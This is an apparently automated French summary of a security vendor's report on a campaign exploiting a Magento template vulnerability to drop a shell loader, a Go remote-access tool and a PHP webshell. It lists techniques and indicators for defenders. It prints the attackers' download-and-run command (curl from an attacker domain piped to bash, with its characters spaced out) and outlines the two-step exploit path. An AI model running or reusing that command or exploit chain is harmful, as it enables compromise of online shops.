🔍 Contexte

Publié le 2 novembre 2026 par Imperva Threat Research (auteurs : Daniel Johnston, Gabi Sharadin), cet article documente une campagne d’exploitation active de la vulnérabilité StyleSmuggler (CVE-2026-75650) ciblant des boutiques Magento / Adobe Commerce dans plusieurs régions du monde.

📅 Chronologie et périmètre

La campagne a été détectée entre le 9 et le 13 septembre 2026. Cinq clusters d’attaque ont été identifiés, originaires de quatre adresses IP sources, ciblant des installations Magento exposées sur Internet en Europe de l’Ouest, Amérique du Nord et Asie-Pacifique. L’activité est qualifiée d’opportuniste (scan automatisé à grande échelle).

⚙️ Chaîne d’exploitation

StyleSmuggler est une attaque en deux étapes contre le moteur de templates Magento :

  1. Injection de code PHP dans la query string de l’endpoint /paypal/transparent/response/ → écriture dans un fichier de rapport sous var/report/
  2. Requête /graphql avec paramètre styles contrôlé par l’attaquant pour charger et évaluer le PHP malveillant

Les payloads PHP tentent successivement shell_exec, system, exec et passthru pour télécharger et exécuter le dropper via :

c u r l - f s S L h t t p : / / t r a n s f e r . c h i n o w . a b r d n s . c o m / g e t / p s k _ a g e n t . s h | b a s h

🛠️ Arsenal malveillant déployé

  • psk_agent.sh : dropper POSIX shell de 3 313 octets, taux de détection VirusTotal de 0% au moment de l’analyse. Recherche un répertoire accessible en écriture/exécution ($HOME, /tmp, /var/tmp, /dev/shm), télécharge la charge suivante via curl/wget/Python, et lance le binaire en arrière-plan avec setsid ou nohup. Contient des commentaires en chinois.
  • chi_down : binaire Go 64 bits de 10,5 Mo, fortement obfusqué, sans informations de build. Capacités : exécution de commandes shell, collecte d’informations système, proxy SOCKS5, communications HTTP/HTTPS/chiffrées. Arguments de lancement : -checkagent=false -maintain=true. Persistance via scheduling.
  • zer4.php (téléchargé sous le nom t4.php) : webshell PHP de 910 lignes, déposé dans pub/media/. Permet navigation/modification de fichiers, upload/download, évaluation PHP, exécution OS. Utilise PHP FFI pour appeler directement des fonctions libc. Commandes chiffrées en AES-256-CBC avec clé hardcodée commune à tous les échantillons.

📡 Mécanisme de tracking DNS

Certains payloads embarquent un mécanisme de beacon de succès DNS : le hostname de la victime est normalisé et intégré dans un sous-domaine unique ({victim-hostname}.cmd{hex}.0f851bdc9d.ddns.1433.eu.org), permettant à l’opérateur de confirmer l’exécution de code même si la connexion HTTP est bloquée.

🎭 Masquage de processus

Des processus malveillants ont été déguisés sous des noms système légitimes : [kworker/u:8:0], fc-cache, chronyd.

🌐 Attribution

L’attribution est évaluée avec confiance modérée vers un opérateur sinophone (commentaires en chinois dans le dropper, noms d’infrastructure chinow, chi_down, onlypsk). Aucune attribution à un groupe nommé n’est établie. CVE-2026-75650 est désormais un vecteur partagé par plusieurs acteurs distincts (dont un opérateur utilisant un backdoor Rust documenté séparément).

📄 Nature de l’article

Il s’agit d’une analyse technique approfondie publiée par un éditeur de sécurité, visant à documenter la chaîne d’attaque complète, fournir des IOCs exploitables et orienter les équipes de détection et réponse.

🧠 TTPs et IOCs détectés

TTP

  • T1190 — Exploit Public-Facing Application (Initial Access)
  • T1105 — Ingress Tool Transfer (Command and Control)
  • T1059.004 — Command and Scripting Interpreter: Unix Shell (Execution)
  • T1027 — Obfuscated Files or Information (Defense Evasion)
  • T1090 — Proxy (Command and Control)
  • T1573 — Encrypted Channel (Command and Control)
  • T1053 — Scheduled Task/Job (Persistence)
  • T1036.005 — Masquerading: Match Legitimate Resource Name or Location (Defense Evasion)
  • T1071.004 — Application Layer Protocol: Domain Name System (Command and Control)
  • T1505.003 — Server Software Component: Web Shell (Persistence)

IOC

⚠️ À propos de ces IOC — ils sont extraits automatiquement de l’article original le 3 novembre 2026 et n’ont pas fait l’objet d’une vérification externe. Un indicateur peut avoir été réattribué depuis : une IP de C2 peut redevenir un service légitime, un domaine sinkholé peut changer de propriétaire. Aucune garantie d’exactitude ni d’actualité — contrôlez leur validité avant tout usage opérationnel, en particulier avant de les injecter dans une blocklist ou un SIEM.

Malware / Outils

  • PSK Agent (chi_down) (rat)
  • psk_agent.sh (loader)
  • zer4.php (backdoor)

🟢 Indice de vérification factuelle : 75/100 (haute)

  • ⬜ imperva.com — source non référencée (0pts)
  • ✅ 15015 chars — texte complet (fulltext extrait) (15pts)
  • ✅ 25 IOCs dont des hashes (15pts)
  • ✅ 3/10 IOCs confirmés (AbuseIPDB, MalwareBazaar, ThreatFox, URLhaus, VirusTotal) (15pts)
  • ✅ 10 TTPs MITRE identifiées (15pts)
  • ✅ date extraite du HTML source (10pts)
  • ⬜ aucun acteur de menace nommé (0pts)
  • ✅ 1/1 CVE(s) confirmée(s) (CIRCL) (5pts)

IOCs confirmés externellement :

  • 6dbfb04c063170af… (sha256) → VT (25/76 détections)
  • transfer.onlypsk.abrdns.com (domain) → VT (3/92 détections)
  • 0f851bdc9d.ddns.1433.eu.org (domain) → VT (3/92 détections)

🔗 Source originale : https://www.imperva.com/blog/stylesmuggler-exploitation-deploys-psk-agent-rat-against-magento-stores/